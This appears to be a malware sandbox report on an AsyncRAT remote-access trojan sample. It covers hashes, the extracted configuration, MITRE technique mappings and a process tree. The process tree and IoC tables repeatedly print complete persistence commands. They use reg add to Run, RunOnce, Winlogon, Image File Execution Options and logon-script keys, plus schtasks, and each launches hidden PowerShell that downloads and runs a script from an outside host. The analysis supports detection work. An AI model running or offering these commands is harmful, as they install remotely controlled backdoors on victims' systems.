asyncrat | 6dc4236ffce7963914c75cfc3cdc5450cbe723b9917c5d2fb7ce43de0b5e38a1

Analysis

max time kernel
300s
max time network
302s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
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24/10/2026, 06:25

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General

Target
QH88_BYG.exe
Size 159KB
Sample261024-g6yfbasycs
SHA256 6dc4236ffce7963914c75cfc3cdc5450cbe723b9917c5d2fb7ce43de0b5e38a1
MD5 92f372b8e0f985bb72c39f36a07c47b0
SHA1 04824cb8966bae89714dbd31dd1cf287a9852b18
SHA512 0a975a627b1eb4d3f04ca74a4efc10cf26b40eeda60363ebc455f6f5fdc47dd52e86c266a0ac112c1e5a7825030c0493ccb9e1d96ba3a81e766b34ee99095d81
SSDEEP 3072:tx27COu01Yb8ZNgAoCv4Sp6lRUORWBToN1Uniyimymd:0F1YbQ4tRbUaURyI
TLSH
T185F35C003BFA1552F1BB8FBCADB1A1454A7AFD632412D75C1CA429AE1A71B80C941FF7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware beyeugroup defense_evasion discovery execution asyncrat persistence rat spyware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://qh88.africa.com/malware/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

beyeugroup

Mutex

TgISZ58eoVj1

Attributes

delay
3
install
true
install_file
Microsoft Edge.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0007000000028430-17.dat	family_asyncrat

Modifies WinLogon for persistence 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	2852	powershell.exe
12	2852	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2852	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\Control Panel\International\Geo\Nation	QH88_BYG.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\Control Panel\International\Geo\Nation	Microsoft Edge.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\Control Panel\International\Geo\Nation	Microsoft Edge.exe

Executes dropped EXE 2 IoCs

pid	Process
3556	Microsoft Edge.exe
2520	Microsoft Edge.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 3 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4128	cmd.exe
2636	cmd.exe
2160	cmd.exe
3472	cmd.exe
3444	cmd.exe
5076	cmd.exe
2268	cmd.exe
2716	cmd.exe
3520	cmd.exe
228	cmd.exe
2872	cmd.exe
1672	cmd.exe
116	cmd.exe
552	cmd.exe
4696	cmd.exe
4596	cmd.exe
3416	cmd.exe
3600	cmd.exe
4344	cmd.exe
3632	cmd.exe
3776	cmd.exe
3852	cmd.exe
4140	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	QH88_BYG.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	QH88_BYG.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Microsoft Edge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Microsoft Edge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Microsoft Edge.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Microsoft Edge.exe

System Location Discovery: System Language Discovery 1 TTPs 49 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Microsoft Edge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Microsoft Edge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	QH88_BYG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1968	timeout.exe

Meterpreter User-Agent 4 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	19	Meterpreter/1.0 (Windows)
HTTP User-Agent header	26	Meterpreter/1.0 (Windows)
HTTP User-Agent header	38	Meterpreter/1.0 (Windows)
HTTP User-Agent header	14	Meterpreter/1.0 (Windows)

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4003929486-1233426720-3594832368-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4864	schtasks.exe
2092	schtasks.exe
3180	schtasks.exe
4028	schtasks.exe
2472	schtasks.exe
2656	schtasks.exe
4820	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2224	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
3332	QH88_BYG.exe
2852	powershell.exe
2852	powershell.exe
3012	powershell.exe
3012	powershell.exe
3012	powershell.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
2520	Microsoft Edge.exe
2520	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe
3556	Microsoft Edge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2224	explorer.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3332	QH88_BYG.exe
Token: SeDebugPrivilege	2852	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	3556	Microsoft Edge.exe
Token: SeDebugPrivilege	3556	Microsoft Edge.exe
Token: SeDebugPrivilege	2520	Microsoft Edge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2224	explorer.exe
2224	explorer.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 3332 wrote to memory of 3632	3332	QH88_BYG.exe	87
PID 3332 wrote to memory of 3472	3332	QH88_BYG.exe	89
PID 3332 wrote to memory of 3444	3332	QH88_BYG.exe	91
PID 3332 wrote to memory of 5076	3332	QH88_BYG.exe	93
PID 3632 wrote to memory of 4764	3632	cmd.exe	95
PID 3332 wrote to memory of 2268	3332	QH88_BYG.exe	96
PID 3332 wrote to memory of 3776	3332	QH88_BYG.exe	98
PID 3332 wrote to memory of 2716	3332	QH88_BYG.exe	100
PID 3444 wrote to memory of 4964	3444	cmd.exe	102
PID 3472 wrote to memory of 2156	3472	cmd.exe	103
PID 5076 wrote to memory of 2648	5076	cmd.exe	105
PID 2716 wrote to memory of 4864	2716	cmd.exe	106
PID 2268 wrote to memory of 3576	2268	cmd.exe	107
PID 3776 wrote to memory of 2092	3776	cmd.exe	108
PID 3332 wrote to memory of 3416	3332	QH88_BYG.exe	109
PID 3332 wrote to memory of 228	3332	QH88_BYG.exe	111
PID 3416 wrote to memory of 3180	3416	cmd.exe	115
PID 228 wrote to memory of 1968	228	cmd.exe	116
PID 228 wrote to memory of 2520	228	cmd.exe	124
PID 3556 wrote to memory of 3520	3556	Microsoft Edge.exe	127
PID 3556 wrote to memory of 2872	3556	Microsoft Edge.exe	129
PID 3556 wrote to memory of 4128	3556	Microsoft Edge.exe	131
PID 3556 wrote to memory of 2636	3556	Microsoft Edge.exe	133
PID 3556 wrote to memory of 2160	3556	Microsoft Edge.exe	135
PID 2872 wrote to memory of 4628	2872	cmd.exe	136
PID 3520 wrote to memory of 4984	3520	cmd.exe	138
PID 3556 wrote to memory of 3852	3556	Microsoft Edge.exe	139
PID 3556 wrote to memory of 1672	3556	Microsoft Edge.exe	141
PID 4128 wrote to memory of 3820	4128	cmd.exe	143
PID 1672 wrote to memory of 4028	1672	cmd.exe	144
PID 2636 wrote to memory of 4716	2636	cmd.exe	145
PID 3852 wrote to memory of 2472	3852	cmd.exe	146
PID 2160 wrote to memory of 4288	2160	cmd.exe	147
PID 2520 wrote to memory of 116	2520	Microsoft Edge.exe	148
PID 2520 wrote to memory of 552	2520	Microsoft Edge.exe	150
PID 2520 wrote to memory of 4140	2520	Microsoft Edge.exe	152
PID 2520 wrote to memory of 3600	2520	Microsoft Edge.exe	154
PID 2520 wrote to memory of 4696	2520	Microsoft Edge.exe	156
PID 116 wrote to memory of 4504	116	cmd.exe	158
PID 2520 wrote to memory of 4596	2520	Microsoft Edge.exe	159
PID 2520 wrote to memory of 4344	2520	Microsoft Edge.exe	161
PID 552 wrote to memory of 1864	552	cmd.exe	163
PID 4140 wrote to memory of 1320	4140	cmd.exe	164
PID 3600 wrote to memory of 1824	3600	cmd.exe	165
PID 4696 wrote to memory of 1840	4696	cmd.exe	166
PID 4344 wrote to memory of 2656	4344	cmd.exe	167
PID 4596 wrote to memory of 4820	4596	cmd.exe	168

C:\Users\Admin\AppData\Local\Temp\QH88_BYG.exe
"C:\Users\Admin\AppData\Local\Temp\QH88_BYG.exe"
1⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3332
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:4764
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3472
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2156
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:4964
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5076
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:2648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:3576
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3776
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://qh88.africa.com/malware/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2092
